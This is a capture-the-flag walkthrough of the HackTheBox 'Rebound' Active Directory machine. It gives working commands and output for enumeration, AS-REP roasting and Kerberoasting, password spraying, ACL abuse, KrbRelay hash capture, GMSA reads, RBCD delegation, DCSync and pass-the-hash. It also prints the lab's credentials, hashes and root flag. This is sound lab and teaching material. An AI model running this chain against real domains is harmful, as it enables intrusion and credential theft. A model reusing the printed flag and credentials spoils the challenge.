HTB Rebound — Full Attack Chain Walkthrough

Difficulty: Insane | OS: Windows | Category: Active Directory

A deep-dive into a multi-stage Active Directory attack chain: anonymous enumeration → AS-REP + Kerberoasting combo → password reuse → ACL abuse → session hijacking → RBCD → DCSync.

Overview

Rebound is one of the most technically rich Active Directory machines on HackTheBox. The path to Domain Admin requires chaining together several distinct techniques, none of which alone gets you very far. You need to think in layers — each foothold opens the door to the next.

Here’s the full attack path at a glance:

1. Anonymous SMB/LDAP access → user enumeration via SID brute-force
2. AS-REP Roasting → Kerberoasting without pre-auth (jjones → ldap_monitor)
3. Password reuse → oorend access
4. ACL abuse (AddMember + FullControl on OU) → winrm_svc password reset
5. Session hijacking with KrbRelay → tbrady NetNTLMv2 capture
6. GMSA password read → delegator$ NT hash
7. RBCD attack → impersonate DC01$
8. DCSync → Administrator hash → root

Reconnaissance

Anonymous SMB Login

The first thing to check on any Windows target is whether null/guest authentication is allowed on SMB. Here it is:

nxc smb 10.129.232.31 -u 'guest' -p '' --shares

SMB  10.129.232.31  445  DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB  10.129.232.31  445  DC01  [+] rebound.htb\guest:
SMB  10.129.232.31  445  DC01  Share           Permissions     Remark
SMB  10.129.232.31  445  DC01  -----           -----------     ------
SMB  10.129.232.31  445  DC01  ADMIN$                          Remote Admin
SMB  10.129.232.31  445  DC01  C$                              Default share
SMB  10.129.232.31  445  DC01  IPC$            READ            Remote IPC
SMB  10.129.232.31  445  DC01  NETLOGON                        Logon server share
SMB  10.129.232.31  445  DC01  Shared          READ
SMB  10.129.232.31  445  DC01  SYSVOL                          Logon server share

Guest login works and we have READ on IPC$ and Shared. The IPC$ access is what matters most — it allows us to make RPC calls, which is the prerequisite for SID enumeration.

Step 1 — User Enumeration via SID Brute-Force

With anonymous IPC$ access, we can use impacket-lookupsid to brute-force SIDs and map them to usernames. This is a classic technique that bypasses the need for any credentials.

impacket-lookupsid rebound.htb/guest:''@10.129.232.31 10000

[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
...
1951: rebound\ppaul (SidTypeUser)
2952: rebound\llune (SidTypeUser)
3382: rebound\fflock (SidTypeUser)
5277: rebound\jjones (SidTypeUser)
5569: rebound\mmalone (SidTypeUser)
5680: rebound\nnoon (SidTypeUser)
7681: rebound\ldap_monitor (SidTypeUser)
7682: rebound\oorend (SidTypeUser)
7683: rebound\ServiceMgmt (SidTypeGroup)
7684: rebound\winrm_svc (SidTypeUser)
7685: rebound\batch_runner (SidTypeUser)
7686: rebound\tbrady (SidTypeUser)
7687: rebound\delegator$ (SidTypeUser)

We now have a full user list. Save these to a users.txt file — they'll be used in every step that follows.

Step 2 — AS-REP Roasting + Kerberoasting (The Combo Attack)

AS-REP Roasting

With the user list, we check for accounts that have Kerberos pre-authentication disabled (UF_DONT_REQUIRE_PREAUTH). These accounts will hand out an AS-REP ticket to anyone who asks — no password needed.

impacket-GetNPUsers rebound.htb/ -no-pass -usersfile users.txt -outputfile hashes.asrep -dc-ip 10.129.232.31

Only jjones has pre-auth disabled:

$krb5asrep$23$jjones@REBOUND.HTB:a01e78a64616bd27...

Running hashcat against rockyou.txt exhausts the entire wordlist without a hit. The hash doesn’t crack.

hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt
# Status: Exhausted

Kerberoasting Without Pre-Auth

This is where it gets interesting. Even though we can’t crack jjones’s AS-REP hash, we can use it. A technique documented by Semperis shows that an AS-REP ticket can be leveraged to perform Kerberoasting on behalf of that user — without ever knowing their password.

The -no-preauth flag in impacket-GetUserSPNs lets us do exactly this:

impacket-GetUserSPNs rebound.htb/ -no-preauth jjones -usersfile users.txt -request -dc-ip 10.129.232.31

This returns TGS hashes for three accounts: DC01$, ldap_monitor, and delegator$. The DC01$ and delegator$ hashes use AES256 (etype 18) which is extremely resistant to cracking. But ldap_monitor comes back as RC4 (etype 23):

$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$...

Crack it:

hashcat -m 13100 kerberoasting.hash /usr/share/wordlists/rockyou.txt

$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$...:1GR8t@$$4u

We now have valid credentials: **ldap_monitor : 1GR8t@$$4u**

Step 3 — LDAP Enumeration & BloodHound

With a valid account, we can pull full domain data using rusthound-ce and feed it into BloodHound CE:

rusthound-ce --domain rebound.htb -u ldap_monitor -p '1GR8t@$$4u' --zip -i 10.129.232.31 --ldaps

BloodHound shows no direct high-value paths from ldap_monitor. Time to look for password reuse.

Step 4 — Password Reuse

Export all domain users and spray the cracked password across every account:

nxc ldap 10.129.232.31 -u ldap_monitor -p '1GR8t@$$4u' --users-export users.txt

nxc ldap 10.129.232.31 -u users.txt -p '1GR8t@$$4u' -k --continue-on-success

[+] rebound.htb\ldap_monitor:1GR8t@$$4u
[+] rebound.htb\oorend:1GR8t@$$4u

oorend reuses the same password. Now check BloodHound for what oorend can do — and there's a path.

Step 5 — ACL Abuse (Lateral Movement to winrm_svc)

BloodHound reveals that oorend has AddMember rights on the ServiceMgmt group, and ServiceMgmt has GenericAll (FullControl) over the Service Users OU — which contains winrm_svc.

BloodHound path

Step 5a — Add oorend to ServiceMgmt:

powerview rebound.htb/oorend:'1GR8t@$$4u'@dc01.rebound.htb -k

Add-DomainGroupMember -Identity SERVICEMGMT -Members oorend
# [Add-DomainGroupMember] Successfully added oorend to group SERVICEMGMT

Step 5b — Grant FullControl over the Service Users OU:

impacket-dacledit rebound.htb/oorend:'1GR8t@$$4u' -k -dc-ip 10.129.232.31 \
  -action write -rights FullControl -inheritance \
  -principal oorend -target-dn "OU=Service Users,DC=rebound,DC=htb" -use-ldaps
# [*] DACL modified successfully!

Step 5c — Reset winrm_svc’s password:

Set-DomainUserPassword -Identity WINRM_SVC -AccountPassword n3wP@assword2026w
# [Set-DomainUserPassword] Password has been successfully changed for user winrm_svc

We now control winrm_svc with credentials **winrm_svc : n3wP@assword2026w**.

Step 6 — Session Hijacking with KrbRelay (Capturing tbrady)

winrm_svc has a WinRM session on the box. From inside that session, we can see another user (tbrady) is logged in. Using KrbRelay combined with RunasCs, we can force a cross-session NTLM authentication and capture tbrady's NetNTLMv2 hash.

.\RunasCs.exe oorend '1GR8t@$$4u' -l 9 "qwinsta"  

SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE    
>services                                    0  Disc                           
console           tbrady                    1  Active

./RunasCs.exe oorend '1GR8t@$$4u' -l 9 "c:\users\winrm_svc\documents\KrbRelay.exe \
  -ntlm -session 1 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -port 10246"

[*] Auth Context: rebound\tbrady
[*] NTLM3
TBRADY::rebound:0ebddced5444518e:c0d13b5052ff7b60...

Crack the NetNTLMv2 hash:

hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt

TBRADY::rebound:...:543BOMBOMBUNmanda

Credentials: **tbrady : 543BOMBOMBUNmanda**

Step 7 — GMSA Password Read (delegator$)

BloodHound shows tbrady is in the AllowedToReadGMSAPassword group for the delegator$ managed service account. We can read its password directly:

bloodyAD -d rebound.htb -u tbrady -p '543BOMBOMBUNmanda' \
  --host dc01.rebound.htb msldap gmsa

Username: delegator$
Allowed machine: rebound\tbrady
Password -NT-: daff1bb8b40ce9f50b3f1b3af10142ff

We now have the NT hash for delegator$.

Step 8 — Resource-Based Constrained Delegation (RBCD) → DCSync

BloodHound Path

Why RBCD?

delegator$ has AllowedToDelegate rights over DC01$. This means we can abuse RBCD to impersonate the Domain Controller machine account itself — which has DCSync rights.

Step 8a — Configure RBCD (allow ldap_monitor to impersonate on delegator$):

impacket-rbcd rebound.htb/delegator\$ -hashes :daff1bb8b40ce9f50b3f1b3af10142ff \
  -k -delegate-from ldap_monitor -delegate-to delegator$ \
  -action write -dc-ip dc01 -use-ldaps
# [*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy

Step 8b — S4U2Self: get a ticket for DC01$ via ldap_monitor:

impacket-getST rebound.htb/ldap_monitor:'1GR8t@$$4u' \
  -spn browser/dc01.rebound.htb -impersonate DC01$
# [*] Saving ticket in DC01$@browser_dc01.rebound.htb@REBOUND.HTB.ccache

Step 8c — S4U2Proxy: use delegator$ to get a service ticket as DC01$:

impacket-getST rebound.htb/delegator\$ -hashes :daff1bb8b40ce9f50b3f1b3af10142ff \
  -spn http/dc01.rebound.htb \
  -additional-ticket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache \
  -impersonate DC01$
# [*] Saving ticket in DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache

Step 8d — DCSync as DC01$:

export KRB5CCNAME=DC01\$@http_dc01.rebound.htb@REBOUND.HTB.ccache

impacket-secretsdump -k -no-pass dc01.rebound.htb -just-dc-user administrator

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8:::

Step 9 — Root

Pass the hash with evil-winrm:

evil-winrm-py -i rebound.htb -u Administrator -H 176be138594933bb67db3b2572fc91b8

evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
b520c337f429c90c0d97ddb8939cfdcf

Attack Chain Summary

Step Technique From → To 0 Anonymous SMB / IPC$ access Guest → user list 1 SID brute-force (lookupsid) Guest → domain users 2 AS-REP Roasting + Kerberoasting combo jjones (no preauth) → ldap_monitor creds 3 Password reuse spray ldap_monitor → oorend 4 AddMember + DACL write on OU oorend → winrm_svc 5 KrbRelay cross-session hijack winrm_svc → tbrady NetNTLMv2 6 GMSA password read tbrady → delegator$ NT hash 7 RBCD + S4U2Self/S4U2Proxy delegator$ → DC01$ ticket 8 DCSync DC01$ → Administrator hash

Key Takeaways

The AS-REP + Kerberoasting combo is the most underrated technique in this box. Most people stop when the AS-REP hash doesn’t crack. The insight is that you don’t need to crack it — you can use the unauthenticated AS-REP ticket to request TGS tickets for SPNs on behalf of that user. This is documented in Semperis research on AS-REP-based attack paths.

ACL chains in AD are dangerous. A single AddMember right on a group that has GenericAll on an OU is enough to reset any user's password in that OU. BloodHound makes these chains visible — always run it when you get any valid credential.

RBCD is powerful when you control a machine account. Once you have the NT hash of a machine account with delegation rights, the path to impersonating the DC is straightforward with impacket’s getST and rbcd tools.